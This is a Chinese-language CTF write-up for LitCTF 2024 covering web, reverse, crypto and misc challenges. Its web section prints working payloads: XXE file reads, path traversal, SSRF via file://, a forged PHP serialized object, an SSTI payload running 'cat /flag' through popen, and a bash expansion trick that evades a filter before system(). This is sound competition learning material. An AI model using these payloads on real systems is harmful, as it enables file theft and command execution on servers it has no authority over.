LitCTF 2024 wp

好简单的比赛!主要是队友大佬,早上起床开个靶机去吃饭回来队友已经把web秒到只剩下一道题了(我开着靶机队友上不去)misc也快秒完了

后来我做了一下web,一共用时29分04秒77比队友慢了一点())

队里没有crypto reverse和pwn手,也没什么成绩,佬们凑合着看吧,轻点喷哈~

队伍:LamentA 排位:67
队伍成员:
LamentXU
Leif9964
sanmu1
ababab

web(ak)

reverse

crypto

misc(ak)

写在后面

WEB

exx

xml实体注入。题目的名称或者抓包都可以看出来。

原理的话就不说了。

DTD定义合法的xml文档:

1
2
3
4
**内部声明DTD** 
<!DOCTYPE 根元素 [元素声明]>
**引用外部DTD**
<!DOCTYPE 根元素 SYSTEM "文件名">

带有dtd的xml文档实例:

1
2
3
4
5
6
内部声明实体
<!ENTITY 实体名称 "实体的值">
**引用外部实体**
<!ENTITY 实体名称 SYSTEM "URL">
或者:
<!ENTITY 实体名称 PUBLIC "public_ID" "URL">

payload:

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "php://filter/convert.base64-encode/resource=/flag">
]>

<user><username>&b;</username><password>123</password></user>

这里定义了一个名为b的实体,它被引用了一个系统命令:php://filter/convert.base64-encode/resource=/flag

当然这是php环境。然后根据一般情况下的回显:把回显位置换成定义的实体b。如果正确解析的话就插入到了指定位置。

高亮主题(划掉)背景查看器

直接梭哈:

1
theme=../../../../flag

这一题其实注入点很好玩。注入点不是显示出来的url,而是点击Use this theme之后产生的反应:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: node3.anna.nssctf.cn:28296
Content-Length: 16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://node3.anna.nssctf.cn:28296
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node3.anna.nssctf.cn:28296/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

theme=theme1.php

注入点显而易见,根据报错信息:

1
Warning</b>:  include(themes//flag): failed to open stream: No such file or directory in <b>/var/www/html/index.php

也就是说文件目录被拼接了一个theme

所以直接梭哈:

1
theme=../../../../flag

浏览器也能套娃?

SSRF

直接使用伪协议:

1
url=file:///flag

SAS - Serializing Authentication System

直接梭哈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

class User {

public $username;

public $password;

function __construct($username, $password) {

$this->username = $username;

$this->password = $password;

}

function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }

}

$pay=new User("admin","secure_password");
echo base64_encode(serialize($pay));
?>

一个….池子?

根据返回报文:

1
2
3
4
5
6
HTTP/1.1 200 OK
Server: Werkzeug/3.0.3 Python/3.10.14
Date: Sat, 01 Jun 2024 03:55:39 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1340
Connection:

可以看出来这是一个python写的后端,尝试SSTI:

直接梭哈:

1
input={{"".__class__.__base__.__subclasses__()[137].__init__.__globals__["popen"]("cat /flag").read()}}

百万美金的诱惑

这一题很有意思。第一关:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);

$a = $_GET['a'];
$b = $_GET['b'];

$c = $_GET['c'];

if ($a !== $b && md5($a) == md5($b)) {
if (!is_numeric($c) && $c > 2024) {
echo "好康的";
} else {
die("干巴爹干巴爹先辈~");
}
}
else {
die("开胃小菜))");
}

弱比较:

1
GET /?a[]=1&b[]=2&c=2525b

第二关:

1
2
3
4
5
6
7
8
9
10
11
12
13

<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
$x = $_GET['x'];
if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
system("cat ".$x.".php");
}
}else{
highlight_file(__FILE__);
}
?>

bash构造无数字字符的命令。

我构造的双展开形式的${}${}在bash中可以执行,但是在php中执行不了。

后来看bash扩展的时候,看到了一个很抽象的东西:

1
2
3
4
5
6
7
8
'$(())',  # 0
'$((~$(($((~$(())))$((~$(())))))))', # 1
'$((~$(($((~$(())))$((~$(())))$((~$(())))))))', # 2
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 3
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 4
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 5
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 6
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 7

按照这个逻辑直接构造12:

1
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

REVERSE

ez_python!!!!

解包pyinstall打包后的.exe脚本:pyinstxtractor下载

然后发现ezpy.pyc,直接使用在线工具反编译

反编译结果:

1
2
3
4
5
6
7
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.11

import Litctfbase64
flag = input('flag:')
flag = Litctfbase64.b64decode(flag)
# WARNING: Decompyle incomplete

注意到有部分反编译失败,但能看到导入了LitCTFbase64库

对其进行反编译,得到

1
2
3
4
5
6
7
8
9
10
11
12
13
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.11

import string
BASE64_ALPHABET = '8kuWYm=1JiUPs7DT4x+X5tcqZKfGvA0gFLB6y3QbV2rNOlRdMwnEohjzSe9/HIa-'

def b64decode(input_string):
pass
# WARNING: Decompyle incomplete

def from_base64(base64_string):
pass
# WARNING: Decompyle incomplete

发现关键代码处均反编译失败,但得到BASE64_ALPHABET,推测为base64编码表

使用如下脚本看字节码指令

1
2
3
4
5
6
7
8
9
10
import dis
import marshal
import sys
if len(sys.argv) == 2:
filename = sys.argv[1]
with open(filename,"rb") as fp:
byteCode = fp.read()[16:]

co = marshal.loads(byteCode)
dis.dis(co)

发现ezpy.pyc中有可疑输出X=3o4hx=0EZwf=mMv13gX=3o4hx=qje2ZjtgZQmEKXZog4== 猜测为密文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
 0           0 RESUME                   0

1 2 LOAD_CONST 0 (0)
4 LOAD_CONST 1 (None)
6 IMPORT_NAME 0 (Litctfbase64)
8 STORE_NAME 0 (Litctfbase64)

2 10 NOP

9 12 NOP

12 14 PUSH_NULL
16 LOAD_NAME 1 (input)
18 LOAD_CONST 2 ('flag:')
20 PRECALL 1
24 CALL 1
34 STORE_NAME 2 (flag)

13 36 PUSH_NULL
38 LOAD_NAME 0 (Litctfbase64)
40 LOAD_ATTR 3 (b64decode)
50 LOAD_NAME 2 (flag)
52 PRECALL 1
56 CALL 1
66 STORE_NAME 2 (flag)

15 68 LOAD_NAME 2 (flag)
70 LOAD_CONST 3 ('X=3o4hx=0EZwf=mMv13gX=3o4hx=qje2ZjtgZQmEKXZog4==')
72 COMPARE_OP 2 (==)
78 POP_JUMP_FORWARD_IF_FALSE 13 (to 106)

16 80 PUSH_NULL
82 LOAD_NAME 4 (print)
84 LOAD_CONST 4 ('win')
86 PRECALL 1
90 CALL 1
100 POP_TOP
102 LOAD_CONST 1 (None)
104 RETURN_VALUE

17 >> 106 PUSH_NULL
108 LOAD_NAME 4 (print)
110 LOAD_CONST 5 ('no')
112 PRECALL 1
116 CALL 1
126 POP_TOP
128 LOAD_CONST 1 (None)
130 RETURN_VALUE

最后,base64换表解码

1
2
3
4
5
6
7
8
9
import base64
import string

str1 = "X=3o4hx=0EZwf=mMv13gX=3o4hx=qje2ZjtgZQmEKXZog4=="

string1 = "8kuWYm=1JiUPs7DT4x+X5tcqZKfGvA0gFLB6y3QbV2rNOlRdMwnEohjzSe9/HIa-"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))

编码喵

拖入IDA,shift+f12发现两个可疑字符串

1
2
tgL0q1rgEZaZmdm0zwq4lweYzgeTngfHnI1ImMm5ltaXywnLowuYnJmWmx0 //推测为密文
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 //推测为base64表

拖入脚本中运行即可

1
2
3
4
5
6
7
8
9
import base64
import string

str1 = "tgL0q1rgEZaZmdm0zwq4lweYzgeTngfHnI1ImMm5ltaXywnLowuYnJmWmx0 "

string1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))

CRYPTO

small_e

1
2
3
4
5
import gmpy2
c_list = [] // your list
for i in c_list:
t = gmpy2.iroot(i,3)
print(chr(t),end="")

得到flag

common_primes

求n1与n2的公约数即是p

然后就是正常解密。

CRT

轩禹CTF_RSA工具直接秒

little_fermet

差不多的原题:祥云杯 2022的little little fermat

贴上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

import gmpy2
from Crypto.Util.number import long_to_bytes,bytes_to_long
import libnum
n = 122719648746679660211272134136414102389555796575857405114496972248651220892565781331814993584484991300852578490929023084395318478514528533234617759712503439058334479192297581245539902950267201362675602085964421659147977335779128546965068649265419736053467523009673037723382969371523663674759921589944204926693
c = 109215817118156917306151535199288935588358410885541150319309172366532983941498151858496142368333375769194040807735053625645757204569614999883828047720427480384683375435683833780686557341909400842874816853528007258975117265789241663068590445878241153205106444357554372566670436865722966668420239234530554168928
temp=gmpy2.iroot(n,2)[0]
p=gmpy2.next_prime(temp)
q=n//p
assert p*q == n
x = q-1
phi = (p-1)*(q-1)
e = 65537
d = gmpy2.invert(e, phi)
m = pow(c,d,n)
m = int(m ^ x)
print(libnum.n2s(m))

MISC

涐贪恋和伱、甾―⑺dé毎兮毎秒

1
zsteg工具

你说得对,但__

1
2
binwalk分离
拼接图片

原铁,启动!

![【1.0版本考据】历时两个半月!铁道文字翻译!-崩坏:星穹铁道社区-米游社]( https://upload-bbs.miyoushe.com/upload/2023/05/09/326579707/3e556c8b48d40b51436df29198daa905_3495040659988463142.jpg?x-oss-process=image/resize ,s_600/quality,q_80/auto-orient,0/interlace,1/format,jpg)

![【图研所】提瓦特现行文字对照表-原神社区-米游社]( https://upload-bbs.mihoyo.com/upload/2022/10/27/289799533/fcd8e8310bde689198d4be3e6b749f15_9129134670435119053.png?x-oss-process=image/resize ,s_600/quality,q_80/auto-orient,0/interlace,1/format,png)

盯帧珍珠

1
Stegsolve逐帧查看

Everywhere We Go

1
Audacity查看频谱图

舔到最后应有尽有

base64隐写

直接PuzzleSolver秒杀

关键,太关键了!

PuzzleSolver字频统计

1
bingo

关键字解密

1
LITCTF{I_MISS_YOU_BOSS}

女装照流量

跟踪http

28页为zip

26页base64为key

1
Y2QgL2QgIkM6XFxQcm9ncmFtIEZpbGVzXFxwaHBzdHVkeV9wcm9cXFdXV1xcTGl0Q1RGLXBjYXBuZyImemlwIC1QICJQYVNzdzByZF9MaXRDdEZfTDB2ZWx5X3RhbkppIiBmMWFnLnppcCBmbGFnLnBocCZlY2hvIDFhOTI1JmNkJmVjaG8gNmZmZWIx&xf65aaf1672c18=ST

The love

掩码和压缩包

提取爆破即可

1
Ykc5MlpWOXBjMTl3WVdsdVpuVnM

base64解两次

1
love_is_painful

然后使用DeepSound注意版本必须是2.2 对爱情.wav解密即可,密码是上面的love_is_painful

写在后面

好久没有打过这么爽的一次比赛了,其他一点不懂的方向还能靠现学现卖混点分())

最近打了几把不是新生赛的比赛老是被暴杀,算是感受到CTF的无聊和苦闷了

也许过了打新生赛的快乐阶段才算真正入门CTF吧